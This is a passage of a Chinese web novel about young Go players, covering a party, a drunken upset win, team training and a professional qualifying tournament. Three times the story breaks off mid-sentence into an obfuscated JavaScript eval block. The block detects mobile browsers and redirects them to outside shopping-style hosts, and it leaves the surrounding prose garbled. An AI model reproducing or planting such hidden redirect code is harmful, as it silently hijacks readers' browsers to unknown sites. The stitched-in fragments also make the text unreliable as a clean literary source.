庭见秋知道为什么她看辛芸觉得这么眼熟了。 三年前,电视里,她在亚运会的女子马球赛转播上,见过这张脸。 她什么都爱玩玩,什么都玩得很好,天之骄子不过如此。 庭见秋撤去扶在她手肘上的手,淡淡嘱咐:“小心点。” 辛芸却反手捉住她的手,用力:“七月定段赛见,四台。” 她被阳光炙成麦色的面孔,现出一个张扬自得的表情。 “——你不认识我,不知道我。我这个人,很少努力做一件事,但只要我努力了,一定能成功。所以,你最好小心一点。” 37.初恋 庭见秋见多了挑衅,辛芸实在算不上有攻击力的一批。 只能算是手劲很大的一批。 她缓慢地抽开被她攥得酸痛的手:“如果你只是想玩玩,没必要参加定段赛。” “我想在你最认真最紧张的时候,和你下棋。” 庭见秋眉梢微扬:“那你加油。” 她幼时在云春市围棋教室里见过的冲段少年们,这半年来在江陵棋院与她朝夕相处的冲段少年们,哪个不是既有突出的天赋,又甘愿为了围棋献出自己全部的青春。这种程度的认真与虔诚,不是辛芸这种不服气时的玩闹心态,所能相比的。 * 江陵长玫顺利升班,又逢谢砚之生日,谢颖在自家郊区的大别墅里开庆功宴。无论是俱乐部的成员,还是江陵棋院的师生,甚至是狗皮膏药一样黏上谢颖、自称是“江陵长玫在逃七段”的仇嘉铭,谢颖的原话是: “能来的都来!” 六月十三,傍晚,江陵长玫征战围乙的一队人,乘坐飞机抵达江陵。晚七点,别墅里已躁得不像正经民居。 只这一个晚上,大家立了个规矩:只管玩,谁都不许谈棋的事来扫兴。 谢砚之、庭见秋一辈的孩子们占了二楼;谢颖夫妻、赵良甫、祁同贤等在一楼,谢颖取出了家里珍藏的几瓶葡萄酒出来招待。 楼下人影寥寥。 谢颖也邀请了在集训期间为江陵长玫的队员们授课讲棋过的前辈,但这些前辈纷纷说,最近有一家不可说,花了大价钱,请他们去上课。 谢颖大概能猜到是哪家,为昔日同侪们的缺席深感失望:“你们不馋我的酒吗?” “馋。但他们实在给得太多了。” 二楼的孩子们把谢颖专门用来投影围棋直播的娱乐房,改造成了KTV,鬼狐狼嚎,震得楼板嗡鸣作响。 赵良甫与谢颖相知相交多年,知道她的往事,知道她无论如何都不踏入KTV的心结,轻声问她,不介意这群孩子这样胡闹吗? 谢颖啜了口酒,淡笑说:“老赵,我所做的这一切,不就是希望这些孩子们,能像现在这样,开开心心地玩吗?我害怕的地方,他们不必害怕。我感受到的危险,不必威胁到他们。无论是在棋桌上,还是棋桌下,他们都能自由自在地做自己想做的事。” 赵良甫闻声,很轻地在谢颖手背上拍了两下,是劝抚,也是理解。 谢颖垂眼看向自己的手背。三十年前和陆长玫相继落子的手,如今已生了几枚鱼眼大的黄褐斑,似一生的雨落下,在她手背上泛起的涟漪。 楼上全然不似楼下的清寂。 仇嘉铭带了直播设备来,先带着直播间的观众朋友们在谢家的大别墅里转了一圈,充满激情地赞美谢家低调奢华的装修和陈设。他口条极佳,拍马屁卖力,有第一次进他直播的观众发弹幕: 【房子卖吗?】 仇嘉铭:“我不是售楼处的销售人员好不好!” 逛到娱乐室,室内灯光昏暗,只有MV被投影在墙壁上时闪烁的光线。庭见秋最早被簇拥上台唱歌,以一首没一个字在调上的《两只老虎》,又被轰下台去,换了其他人来。十几个二十岁上下的年轻人,三三两两地挨着,坐在地上的懒人沙发、圆形坐垫和柔软蒲团上。 仇嘉铭举着自拍杆,打着转介绍: “这是言宜歌……” “拍我可以,给钱。” “哈哈脸色还是一如既往地很臭呢!我们不要拍她了……这是谢砚之和庭见秋,小谢你们都熟,我们今天的寿星。庭见秋就是……呃,你们很快也会熟的!” 窝在懒人沙发上的两人,双双懒洋洋地竖起手,微笑着冲镜头打了个招呼。他们脚边,各放着一瓶放着大人才能喝的低酒精度鸡尾酒。荔枝味。青柠味。 “什么?谈恋爱?没有谈恋爱!江陵长玫的所有八卦我都知道,他俩绝不可能在我眼皮子底下谈恋爱,真谈了我还能瞒着大家?!那必不可能啊! “噢,看着配……那确实,都是下棋很拼命的家伙嘛! “这几个跪在地上打三国杀的是江陵棋院的小朋友。丛遇英初段有人知道吗丛遇英初段?!好歹也是个职业棋手,竟然一个知道他的都没有嘛?!” 丛遇英气得磨牙。 “这里有好几位冲段少年呢,还有一位冲段少女,关建伟妹妹。不知道一个月后这里有几位棋手可以顺利定段,和老仇我一样成为职业围棋棋手呢? “……别瞪我了!我知道你们不想和我一样!” 镜头又转向娱乐室的正前方,点歌台: “现在正在唱歌的是蒋阳成初段,小阳弟弟~” 面对镜头,蒋阳成有些腼腆,明显瑟缩了一下,两手捧着话筒,手指忐忑地绞在一起,不好意思地一笑。他穿了一件凉爽的平价白T恤,颈部的烫伤、手臂处的刀痕,他不再掩盖,也淡了许多。 他唱的是他在朝国集训时认识的新朋友,一个发音、一个发音地教给他的朝语歌。他好久没认识新朋友,没在友谊中获得如此强烈的自尊感,离开朝国时,在机场不舍地哭起来,谢砚之答应帮他给朝国朋友写信,才把他哄好。 “弹幕说你唱得很好听,完全没猜到是你唱的哦!” 蒋阳成脸红:“谢谢……” “这里是江陵长玫的工作人员们。杨记者,回头!” 正和同事在一起欢快聊天的杨惠子,听到仇嘉铭叫她,回头冲镜头做了个鬼脸。 “别被这家伙看起来可爱的脸骗了!她骂人很难听,打人的时候下手也很重……什么,杨记者打我一定有她的道理?三十七度的嘴能说出这么冰冷的话?” 仇嘉铭把娱乐室里的朋友们介绍一遍,又把直播设备高高挂起,拍摄娱乐室全景: “我们来玩掰手指吧!” 于普通高中生、大学生而言,掰手指是团建活动里常见的无聊游戏;但这群整日里忙着下棋的棋手,听到仇嘉铭的高呼,第一反应是: “掰手指是什么?” 仇嘉铭简单解释:“就是大家伸出十只手指,然后轮流说一件自己经历过的事。如果你发现自己没做过,就要收回一只手指。掰完十个手指就出局。越晚出局越好。” 没有棋下,也没别的事做,大家都很新奇,顺着他的意思围坐起来。 言宜歌走到仇嘉铭身侧,不客气地往他肩上一拍:“今晚赚得不少吧?我出镜可以,记得分成。” 仇嘉铭:“钻钱眼里了是吧!就那么几块钱收益也贪!” “小气鬼。”言宜歌白了仇嘉铭一眼,秉着不白出镜的原则,很有骨气地离开了娱乐室。 游戏开始,一圈围了十几个人。庭见秋和杨惠子很快意识到失策:在座的大多都是棋手,自幼在棋院长大,人生轨迹相似,说来说去都是棋院和棋赛的那些事。庭见秋和杨惠子另类得很突出,最早掰完十个手指,出局。 庭见秋不见恼意,牵着杨惠子的手说: “你们接着玩,我听说楼下有好酒,我和惠子去问谢颖老师讨一点来。” 娱乐室里只剩九个人。 轮到丛遇英说那件只有自己做过、别人没做过的事了。 丛遇英清了清喉咙,深沉地:“我有了一个初恋。” 江陵棋院的冲段少年、丛遇英的老同学熊方大骇:“我去!你谈恋爱了?” “单恋也是初恋嘛。”丛遇英学着大人的腔调叹了口气,“她是我们棋院附近那所高中的学生,上个月我去书店买棋书,遇见她了,她来买高中教辅书。” 仇嘉铭好心提醒:“现在在直播哦。” “没关系。她是好学生,不会看直播的,而且我也想听听大家的建议……我骗她说我也是他们高中的学生,比她小一届,她信了。” 熊方:“你是职业棋士啊!这么光荣,为什么要撒谎?” “在棋圈之外的人眼里,我不就是个文盲吗?我小学三年级开始,就没跟着学校上课了,都靠棋院里教一点,爸妈教一点,自己自学一点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006853|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢砚之摆出自己的例子安慰:“但是如果你拿到世界冠军,就可以免试保送高水平大学。” “师兄能不能不要把拿世界冠军说得像在批发市场买了个马桶搋子一样简单啊?!” 丛遇英又忧郁地叹了口气:“她前阵子说,想约我去市图书馆自习,一起写作业,准备期末考,还说想和我一起讨论数学题……” 娱乐室里围着的一圈人,都随着丛遇英陷入青春的哀愁气氛之中。 “——等等,还玩着游戏呢,没有初恋的人记得掰手指!” 关建伟、熊方、蒋阳成等十几岁的小孩都老老实实地掰了一个。 仇嘉铭不动。没人觉得意外,他毕竟三十出头的年纪,如果不是心性太憨厚幼稚,按照社会时钟,这个年纪都该已婚了。 谢砚之也没有掰,原封不动地举着四根手指。 仇嘉铭瞪圆了眼:“小谢你什么情况!你什么时候偷偷……” 谢砚之一歪脑袋,想了想:“小时候。当时也不觉得,后来才意识到,好像是初恋。” “你不是一直被谢颖老师管教着,除了下棋啥都没做,除了棋赛哪都去不了?!” 谢砚之很坦诚:“是下棋认识的。” 仇嘉铭弹射起立,取来手机看弹幕和收益。 果然炸了: 【言宜歌!!言宜歌!!言宜歌!!】 【正主发粮了!!!师兄妹cp粉过年了!!!】 【牙硬头铁嗑了六年的我从未奢想过能有如此幸福的一天……】 这时,言宜歌抱着从隔壁棋室搜刮来的棋书,经过娱乐室门口。 丛遇英看热闹不嫌事大地起哄:“宜歌姐姐!我师兄说你是他初恋!” 言宜歌疑惑地一皱眉。 下一秒,言宜歌破口大骂:“好肮脏!好肮脏的战术!谢砚之你个狗人,你是觉得下不过我了,开始玩盘外招了是吧?!” 仇嘉铭:“等等我还在直播……” 【谁把我的甜美北极兔换成了愤怒比格。】 【我还是接着牙硬头铁吧……】 【楼上别灰心,小谢没生气,他超爱。】 庭见秋和杨惠子各抱着两瓶昂贵的红酒上楼来。庭见秋径自绕到谢砚之身边,盘腿落座,放下怀里的红酒,抬眼往谢砚之脸上一瞥,奇怪地: “怎么了?谁惹你了,脸色这么差?” 众人望向谢砚之。 谢砚之分明就是他一直以来那副温柔和悦的笑脸,眉眼舒展多情,嘴角微微牵起,一丝一毫变化也没有。 丛遇英困惑地找不同:“他脸色哪差了?” “就是……” 庭见秋竖起一根食指,在谢砚之五官处虚虚比划了一下,谢砚之也任她,含笑看着她不安分的手指乱动。 她试着组织了一下语言,然后放弃,“就是一种感觉,你们没感觉吗?” 众摇头。 庭见秋又往谢砚之脸上看了一眼:“你怎么转眼心情又好了?” …… 谢颖珍藏多年的好酒,一瓶上万。如果不是庭见秋去讨,还不一定讨得来。 二楼本来就没几个能喝酒的成年人,除了仇嘉铭之外,又都知道分寸,浅尝辄止,并不贪杯。只有仇嘉铭,掐了直播,把嘴瘾过了个够。 酒过三巡,大家彼此推诿着谁把倒在地上的酒鬼带回去,仇嘉铭突然从地上蛄蛹起来,奔到二楼楼梯处,朝楼下喊: “谢颖九段,上来!我要挑战你!” 谢颖好笑地从客厅走到楼梯口,抬头望醉得满面酡红的仇嘉铭。 “你喝成这样,分得清黑白子,数得明白气吗?” “别管!别管!我今天就要挑战你!” 谢颖一边上楼,一边放柔了声音,说着警告的话:“仇嘉铭,你可就只有这一次机会了。输了这局棋,你就给我滚蛋。” 仇嘉铭张狂一笑:“我要是赢了,你就准备好钱签我吧!我,很贵哦。” 38.酒中仙 翌日,仇嘉铭睁眼时,发现自己躺在谢颖家棋室的地上,身上随意盖了一层空调毯。棋室窗帘半拉,灼眼的晴光照入棋室内,像是泼了一屋金子。此时已近中午。他眯了眯眼,适应光线。后脑勺闷闷地发疼,不知道是就地睡下时,在木质地板上磕着后脑勺了,还是因为宿醉。 杨惠子推门进屋,看他盘腿坐在地上,两眼空虚地呆望前方,努力拼凑昨晚零散的记忆,一脸万幸地说: “你终于醒了。你躺地上一动不动,又没人抬得动你。小谢绘声绘色地形容了《绝命毒师》里的角色是怎么被呕吐物憋死的,吓得我们大半夜的轮流每隔十五分钟就要进来确认一下你还健在。后来他们去训练了,就我一个人守着你,真是辛苦我了。” 仇嘉铭终于见着了一个能告诉他昨晚发生了什么的救星。 “快去洗漱吧,第一天的集训你已经错过半天啦。” 仇嘉铭困惑:“什么集训?” “江陵长玫的集训啊!”杨惠子瞪圆了眼,“你不会忘记,你昨晚下赢谢颖了吧?” “哈?!” 吃过午饭,在去江陵长玫的出租车上,杨惠子生动地从仇嘉铭记忆的终点,即他趴在谢家二楼楼梯栏杆上,冲一楼的谢颖大嚷着宣战开始,描述了昨晚的经过: 一开始,所有人都只是想看仇嘉铭的热闹。 毕竟仇嘉铭醉得连眼睛都睁不开,抓着棋子的手颤巍巍的,一边下棋,一边嘴里念念叨叨。 后来,聊着天的围观群众安静了,坐着看棋的庭见秋站了起来。 再后来,谢颖对着一桌黑白子,陷入了长考,仇嘉铭还不满地说没有棋钟不公平,超时就该判负。 “我这么狂?” 杨惠子深深地叹了口气:“我希望你不要跳车。” 仇嘉铭:“?” “你说谢老师为老不尊,有骨气的就该认输了。” “你好懂我,我现在真的想死。”仇嘉铭闭眼,“但死之前,我想知道那盘棋我是怎么赢谢颖九段的。” “等到了训练室,找秋秋,让她给你复盘,她看得最认真,肯定没问题。” 杨惠子头一次懊丧自己放弃学棋太早,没办法将仇嘉铭忘记的那一盘棋讲给他听。 那是和她少女时期在电视上的仇嘉铭的棋,同等的惊艳。仿佛十年前那个天才的仇嘉铭,跨过一个时空虫洞,寄居在昨晚酒醉的仇嘉铭体内。他随意地靠在椅背上,半睁着眼看棋,落子的手歪歪斜斜,棋子却总是不偏不倚,落在最出人意料又最难缠处。他仿佛并未思考,将荣辱输赢一并忘得干净,只是任天赋驰骋,棋子生长。棋盘之上,烟霞遍生。 “啊,说到秋秋。还有一件事,希望你听完不要跳车。” 出租车司机默默把全车四个车门都上了锁。 仇嘉铭面上阴云加重:“……你说。” “昨晚,你下棋的时候,我和秋秋站你旁边看棋。谢颖认输,你兴奋到想抱秋秋……” 仇嘉铭:“啊?!” “你刚伸手,谢砚之就把你拉开了,用力大了点,把你甩到了墙上。” 仇嘉铭终于知道自己后脑勺上持续一中午的闷痛是怎么一回事了。不冤。 * 江陵长玫的训练室,建在谢家别墅不远处的一栋写字楼内。这里离市中心不近,地租低,训练室一建成,庭见秋就从江陵棋院里搬了出来,用半年攒下的比赛奖金,和言宜歌、蒋阳成,在这附近合租了一间三室一厅的公寓。有时江陵棋院的小棋手们,在训练室里摆棋太晚,会去他们家中借宿。 江陵长玫成立初期,赞助不足,经费有限,谢颖只盘下了一层楼。江陵长玫的棋手在训练室里练棋尚可,只是江陵棋院里的小棋手要来凑热闹,就有些不够了。 训练室正中心站了个将近一米九的大块头仇嘉铭,更显得空间逼仄。 仇嘉铭嗅到训练室空气中的一丝凝重,强撑起一个笑:“哈哈,怎么没人欢迎我?” 训练室里,正两两对弈,似是快棋,落子和拍棋钟的响声不绝于耳。唯独庭见秋在角落里,一个人占一桌,悠哉地摆着棋研究。 仇嘉铭凑上去看庭见秋的棋:“这是在摆谁的谱,黑的这么牛?” 庭见秋一下子很不想承认。 仇嘉铭顿悟:“我的棋?这是我、的、棋?!” 见到熟悉的棋形,他被宿醉所干扰的记忆,略有些复苏。 他依稀记起自己落子的感觉: 似卸下一切尘垢,灵魂轻盈,飘然于顶,与棋路冥冥相接。 这种感觉,十年间不曾有过了。 自从钟氏杯决赛,他的棋被日国史上最年轻的名人结城理五段大力碾碎之后,他再也不曾心无芥蒂地下棋。他怕输。越怕输,输得越多,他越装出不在乎的样子。似蚕作茧,杂念层生,捆绑缠绕着自身,他破不出去。心沉了,棋便重了,笨了。 一场大醉,让他什么都抛下,茧似冰消雪融,他竟然找回了十年前还被称作“天才”时的自己。 庭见秋将完整的棋局复现出来,杨惠子坐在庭见秋对面,手眼并用,抄录棋谱。 随着棋局逐渐完整,仇嘉铭的记忆也拼凑成型。行棋时的兴奋快意,构思每一步棋时的思路,以及谢颖认输之后的狂喜,种种被酒意消磨的情绪,重新显豁。 不只是这些。 还有他赢棋之后,第一时间想拥抱杨惠子的本能。只是他刚一伸手,对上杨惠子明亮的圆眼,便如被冰锥猛地刺了一下,霎时酒醒。可手已经抬起来了,只好转向庭见秋。 还有。还有他宿醉难受,躺在地上半梦半醒,一直碎语,不知向谁发问:“我是不是下得很好?” 有一只软而温热的手,攥着他冰凉微颤的手掌,让他的每一句提问都有回应:“下得很好。和以前一样好。” …… “仇嘉铭起床了?”耳后,谢颖带着笑意的声音响起。 她搬着一箱新购入的棋钟,走进训练室,仇嘉铭急忙上前帮忙搬,低眉搭眼地道歉: “谢老师不好意思,昨晚太失态了……” 谢颖笑:“叫我谢老师?我不是为老不尊吗?” 淡淡的想死再次涌上心头,仇嘉铭沉痛地:“老师我戒酒了真的。” 谢颖被他逗得又是一阵笑,笑后才宽慰地高举起手,拍拍他的肩:“仇嘉铭七段,欢迎加入江陵长玫。合同我还没准备好,过几天寄来,你先和大家一起下下棋。” 仇嘉铭摩拳擦掌:“好嘞。这会儿是什么项目?” “快棋。”显而易见,谢颖又介绍,“攻擂。谁赢了,有半天假。” “好嘞,刺激。但是,”仇嘉铭一指坐在角落一个人摆棋玩的庭见秋,“秋秋为什么不用下?” 谢颖:“那是擂主,已经把所有人赢了一遍,拿到了半天假。你如果能下赢其他棋手,就有机会去挑战她。” 庭·擂主·见秋勾起嘴角,露出一个得意的坏笑,朝仇嘉铭摇摇手心打个招呼。 仇嘉铭又指正和关建伟对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14019548|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弈至尾声的谢砚之,震声:“庭见秋把谢砚之也赢了?!” 谢砚之云松杯本赛五局全胜,围乙八局全胜,在积分榜上稳居全国第一,风头远胜当年英华杯战胜金敏真九段、带领华国战胜领奖台时的他自己,当之无愧“国手”头衔。 谢颖解释:“我们会根据棋力,让先甚至让子……” 正好关建伟投子认输,谢砚之利落地整棋,一边补充:“对见秋,我可只让了个先手。” 朝国一行,庭见秋与韩智闵对弈之后,像是打进他们师门内部,一夕之间摸清韩智闵一脉的棋路,既化为己用,也找到了应对言宜歌和谢砚之的方法。过去一味刚硬嗜杀的棋风,竟偶展现出一丝绵意,消去过刚易折之弊,愈发机敏权变。 她像一株贪婪不知疲倦的巨型植物,悟性极强,用力吮吸她接触过的每一个棋手可借鉴的地方,化作自身的一部分。 像是要拼命补全缺席的十三年,庭见秋飞速地成长着。令人忍不住想象,如果庭岘五段没有因病去世,现在的庭见秋,应当是一名多么可怕的棋手。 丛遇英冲谢砚之举起手:“师兄,我赢了,我跟你下,让二子就行。” 关建伟好意提醒:“今天谢九段凶得很。” “笑死,你以为我跟你一样?”丛遇英不屑,“这可是我师兄,嫡亲嫡亲的师兄,同一个老师从启蒙带到定段的,对我可好可温柔了。” 谢砚之一笑,低头替丛遇英在两处星位上摆子。 仇嘉铭坐到关建伟面前,也让二子。 半小时后,仇嘉铭才行至中盘,一旁丛遇英响起磨人耳朵的鬼叫:“师兄!你怎么能这么对我!小庭姐姐对我都没这么狠啊!” 一旁下得不紧张的棋手都凑上去看: 先切断,再破眼,最后紧气,谢砚之杀伐干脆,在一百五十手屠龙,早早锁定胜局。 谢砚之两眼弯弯,语气是和棋风截然不同的低沉柔和:“对不起了遇英,我真的很需要半天假。” 去参加庭见秋的毕业典礼。他答应她,去给她拍照的。 丛遇英耷拉着脑袋投子,收棋。谢砚之起身,走到角落棋桌边,在庭见秋对面坐下,轻声问:“下一盘,擂主?” 不像挑战,更似赴约。 * 毕业典礼后,庭见秋再没有请过假,安心集训,备战七月的定段赛。 谢颖与她下了几次指导棋,让她不必有压力,以她的水平,唯二的女子定段名额,她可以锁定一个。谢砚之各地比赛不断,四处奔忙,不再参加集训,又和庭见秋在微信上下起盲棋。棋盘坐标之外,也发闲言碎语,他攒了一堆无聊的笑话发给她, 真正焦头烂额的,是其他冲段少年。 关建伟为方便训练,在庭见秋装潢简单的小屋内,打了个地铺住下。她本就心事重,临近定段,压力更大,经常夜里失眠,整宿整宿睡不着。她怕夜里睡眠不足,影响白天训练,在网上偷偷订购一瓶褪黑素。有药物辅助,是能睡着了,却睡不踏实,觉浅得很,总觉得脑子昏蒙蒙地陷入睡眠的深沼之中,感官却还醒着,甚至还更敏锐了,感知着深夜里的风吹草动。 哪怕是睡沉了,也噩梦不断。关建伟数次在梦中大声哭叫:“我下错了!不下这里!” 庭见秋被惊醒,起床将她拍醒,抱着她,抚摸着她瘦得肩胛骨突出的背部,小声劝抚:“小伟,是个噩梦,你没输棋,不要怕。” 关建伟抱着她大哭。 定段赛的前一周,夜训,关建伟不见了。 39.撞南墙 关建伟没参加集训,手机也关机,联系不上人。 如果是仇嘉铭没有参加夜训,大家只会觉得他出门花天酒地了,无人在意。 但关建伟不一样。她父母都在外地,一个人住在江陵,平日里没什么朋友,一门心思栽在棋盘上。最重要的是,她才十六岁,未成年,深夜的城市于这样年纪的女孩来说,最是危机四伏。 谢颖让孩子们接着摆棋训练,自己和已成年的言宜歌、仇嘉铭、庭见秋,包括还在俱乐部里没下班的工作人员,倾巢出动,找人。 庭见秋知道,关建伟缺乏社会经验,就算是躲起来,也不会离自己熟悉的地方太远。在江陵长玫附近没找到,她就回到出租屋,直上八楼顶层。 瘦削的少女正坐在顶楼大平台边缘,借着平台上一盏方便居民夜里收衣服的孤灯,正在读一本什么书,鼻梁上厚重的眼镜折射出幽微的光线。 见到关建伟的那一刻,庭见秋的心一定;下一秒,察觉她坐在这么危险的位置,七月初的夜风带着微凉,卷动关建伟雾蓝色的裙边,庭见秋又不自觉地紧张起来,低声唤: “小伟,你坐那干什么?” 关建伟如梦初醒似的转过头来:“啊,小庭姐姐……” 她显得情绪很平稳,不像有极端念头,庭见秋放缓了呼吸,劝:“太危险了,你先过来。” 关建伟好像才注意到自己坐着的位置不安全,站起身,解释:“姐你别误会,我不是想……单纯是这里光线好,方便我看书。” 说着指了指手里的书。 书上满是字,不像是棋书。 庭见秋走近,无奈地:“小伟,你吓坏我了,你也不说一声,大晚上跑出来,就为了看书?” “我心静不下来。楼上安静,不然我读不进去。” 庭见秋接过她手里的书。这是高中语文必修一课本。书页翻在第一课,《沁园春·长沙》。书上做了些划线和笔记,字方方正正,棱角鲜明,笔触满是用力的痕迹,写得很认真。 “姐,这是我第五次定段考了。”关建伟垂下眼,望着庭见秋手里的课本,“如果这次再过不了,我妈说,让我回家里县城,读高中。只落了高一的课,多花点心思,还能补回来。再学棋,真耽误高考,我就没有回头路可走了。” 庭见秋默然翻动手里的课本,借着顶楼微弱的灯光,辨识她曾经烂熟于心的文字,轻声问:“你今晚学得怎么样?” 关建伟一怔。她没有想到庭见秋并不责备她今晚鲁莽的行径,也没有评判她可能要放弃围棋这件事。 “我……我爬上了顶楼,还是读不进去。我想背书,可我每次闭上眼,脑子里想的,都是白天打过的棋谱,一想就没完没了……” “那就把它丢掉吧。”庭见秋语气沉静笃定。 “什么?” 庭见秋举起手里的课本:“把这个丢掉。” “可是……” “我放弃围棋那年,十二岁。我小学一门心思学棋,成绩不好。初中不再学棋,一下子考到年级前列。那时候,我很高兴,我以为老天爷给我开了两扇门,辟了两条路,就算我不下围棋,我也能养活自己和家人,实现自己的价值。” 关建伟困惑地:“难道不是吗?” 她知道庭见秋是江陵大学数学系的本硕。有这样的学历,加上她的能力,即便是不挤围棋这条窄道,她一样能过得很好。在关建伟看来,庭见秋的人生有无穷路径与可能性,她只是恰好选择了围棋而已。 “十几年之后回望,我才意识到,所谓的第二条路,不过是陷阱。” 庭见秋的低缓清冽的声音,被夜风勾着,在关建伟耳边吹散。 “——渐渐磨灭我的意志,让我安于常轨的陷阱。正是因为处在分岔口之上,自以为有选择,才会纠结、犹豫,有所保留,浪费时间。如果大胆斩断所谓后路,告诉自己除了奋进无路可退,莽撞地冲一冲,说不定,有柳暗花明的一刻。” 如墨夜空之下,一盏孤灯暗影里,关建伟见到庭见秋素来少见表情的脸上,蓦地绽出一抹怪异的笑。 关建伟正是在这一刻意识到,庭见秋不处于正常人的范畴之中。 所谓正常人,再怎样热爱围棋,生存仍然是他们需要考虑的第一顺位。柴米油盐,衣食住房,种种现实的困难,横亘在正常人与理想之间。所以正常人会瞻前顾后,踌躇彷徨,为无法预知的未来胆战心惊。 庭见秋不是。 她也好吃、贪胜,有温度和欲望,平时看起来和正常人无异。 唯独面对围棋时,她平静无波的外表之下,是一个什么都不顾的疯子。 关建伟知道,庭见秋太特殊,不是所有人都有如此坚韧勇敢的心性,敢将自己的一生赌在纵横十九道之间。至少,她做不到。但她仍笑了,像是被庭见秋的勇气牵动一样: “好。姐,这本课本,你帮我收着。至少在定段考前,我只想着棋。” 正同学少年,风华正茂。书生意气,挥斥方遒。课本上,关建伟曾费解的文句,突然具象成她此时此刻胸腔里鼓动的情绪,如涨满长风的船帆,使她突然很想往南墙上撞一撞。 天知道,最终谁会倒下,谁又屹立,如松柏恒青。 * 定段考前三天,谢颖和赵良甫,带着即将参加定段组或升段组的棋手们,在写字楼的天台上喊楼。 这是赵良甫在儿子高三那年学来的。都说定段赛,是围棋界的高考,参加定段赛的孩子们,当然也能学着高三的学生,在高楼之间喊喊,释放压力。 江陵棋院的十几名年轻业余棋手,争着在天台之上奋力呐喊: “我要入段——我要做职业——我要一辈子下棋——” “下一个九段——世界冠军——国手——就是我——” “都说天道酬勤,狗屁天道——你倒是睁开眼睛——看看我啊——” “我要下出——神之一手——” 庭见秋早已过了需要靠喊楼发泄压力的年纪,靠在一旁青苔蔓蚀的水泥墙上,眯眼晒着炙热的阳光,在微信上有一搭没一搭地和备赛间隙的谢砚之聊天。 【小燕子:羡慕啊,我当年定段的时候,没有这么好玩的活动。】 【见秋:那假如把定段赛前十二岁的你带到这里来,你想喊什么?】 【小燕子:你等一下,我找个没人的地方喊,发语音给你。你帮我在天台上放出来,声音调大一点,就当是我喊楼了。】 过了五分钟,一条不长的语音发来。庭见秋找了个没有小棋手聚着的角落,把手机音量开到最大,点开谢砚之的语音消息: “庭见秋——云春市实验小学六年级二班的庭见秋——我们一起定段,一起做职业棋手吧——没有你,下棋太无聊啦——你一定、一定要来啊——” 盛夏,晴光灼眼,在高楼之上,如碎金拂动,刺得庭见秋眼底泛酸。 她长按语音键,攥紧天台之上触感微凉、锈痕粗糙的铁质栏杆,对着林立的高楼之间,探出前身,卖力呼喊:“我来啦——我来啦——我来啦——” 时隔十三年的回音,响彻沧海桑田、改头换面的城市建筑之间。 关建伟听到庭见秋那边的声音,抬起手肘碰了一下丛遇英,低声说:“你觉不觉得,谢九段对小庭姐姐很好?” 丛遇英皱眉:“我师兄对谁都很好啊,他就是这么一个人,巴不得变成八爪鱼照顾身边所有人的那种。” “但就是对小庭姐姐不太一般……” “为什么?” “聪明?” “我师兄也很聪明,他见过的聪明人海了去了。” “嗯,温柔?” 丛遇英想起庭见秋不下棋时仿佛一切都与己无关的冷漠表情:“没有吧……” “漂亮?”关建伟指了指脸。 丛遇英露出震惊的表情:“得了吧,她都快把我虐出PTSD了,我多看一眼她的脸都做噩梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14044075|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”摇着头,走了。 * 本年度定段赛,在严州召开。 全队十几名棋手,和各自的父母,提早两日坐飞机赶到严州,入住酒店报道。 庭见秋没想到,季芳宴女士也来了。她身体不好,受不了长途颠簸,十几年没有出过省,头一次坐飞机,竟然一点都没有晕机,一下飞机就喜气洋洋地赶来比赛的酒店,要给庭见秋一个惊喜。 她对满面惊讶的庭见秋说:“定段赛这么大的事,别的棋手都有父母陪着,我的女儿也要有。” 庭见秋:“老妈,你也不看看别的棋手多大年纪啊?” 季芳宴梗着脖子:“那咋了!别说你二十五了,你四十五、六十五,只要我没死,你不还是我闺女吗?” 她做了一辈子和人打交道的工作,最擅长聊天,很快就和一众棋手家长打得火热。 一开始,有家长因为季芳宴年纪大,问她是不是陪孙子来考试的,她还得费劲解释;定段赛开始之后,庭见秋以压倒性的姿态,连胜两日四局,季芳宴再也不必自我介绍了: 人人都知道,那个年纪五十好几、穿得花花绿绿、满口云春方言调子的女人,待人和气,做事热络,满面笑容如夏风滚烫,却有个凶得吓人的女儿。 在定段赛上,庭见秋还见到了一张熟面孔:辛芸。 庭见秋并不意外,她看得出辛芸心气刚硬,想要的东西,想做的事,从没有不成的。 她如果赢得早,会偷绕远路,去瞄辛芸的棋。只看几眼,也辨得出,辛芸较一个月前的围乙,进步飞速,棋风越发老练,仍有那股不受管制的野劲。辛芸目前三胜一负,在业余强手如云的定段赛中,是难得的高胜率。 令她也忍不住期待与辛芸再下一次棋。 第四日上午,第七轮比赛,庭见秋终于和辛芸抽签对弈。辛芸持黑,庭见秋持白。 